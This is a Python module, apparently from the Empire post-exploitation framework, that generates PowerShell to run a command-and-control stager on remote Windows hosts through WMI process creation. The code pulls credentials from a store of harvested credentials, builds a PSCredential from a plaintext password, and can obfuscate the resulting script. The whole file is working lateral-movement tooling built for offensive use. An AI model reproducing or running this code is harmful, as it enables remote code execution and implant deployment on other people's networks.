150 lines
5.7 KiB
Python
150 lines
5.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-WMI',
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'Author': ['@harmj0y'],
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'Description': ('Executes a stager on remote hosts using WMI.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': []
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'CredID' : {
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'Description' : 'CredID from the store to use.',
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'Required' : False,
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'Value' : ''
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},
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'ComputerName' : {
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'Description' : 'Host[s] to execute the stager on, comma separated.',
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'Required' : True,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserName' : {
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'Description' : '[domain\]username to use to execute command.',
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'Required' : False,
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'Value' : ''
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},
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'Password' : {
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'Description' : 'Password to use to execute command.',
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'Required' : False,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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userName = self.options['UserName']['Value']
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password = self.options['Password']['Value']
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script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""
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# if a credential ID is specified, try to parse
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credID = self.options["CredID"]['Value']
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if credID != "":
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if not self.mainMenu.credentials.is_credential_valid(credID):
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print helpers.color("[!] CredID is invalid!")
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return ""
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(credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
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if domainName != "":
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self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
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else:
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self.options["UserName"]['Value'] = str(userName)
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if password != "":
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self.options["Password"]['Value'] = password
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == "":
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return ""
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else:
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stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
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# build the WMI execution string
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computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
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script += " -ComputerName @("+computerNames+")"
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script += " -ArgumentList \"" + stagerCode + "\""
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# if we're supplying alternate user credentials
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if userName != '':
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script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential"
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script += ";'Invoke-Wmi executed on " +computerNames +"'"
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if obfuscate:
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script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
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return script
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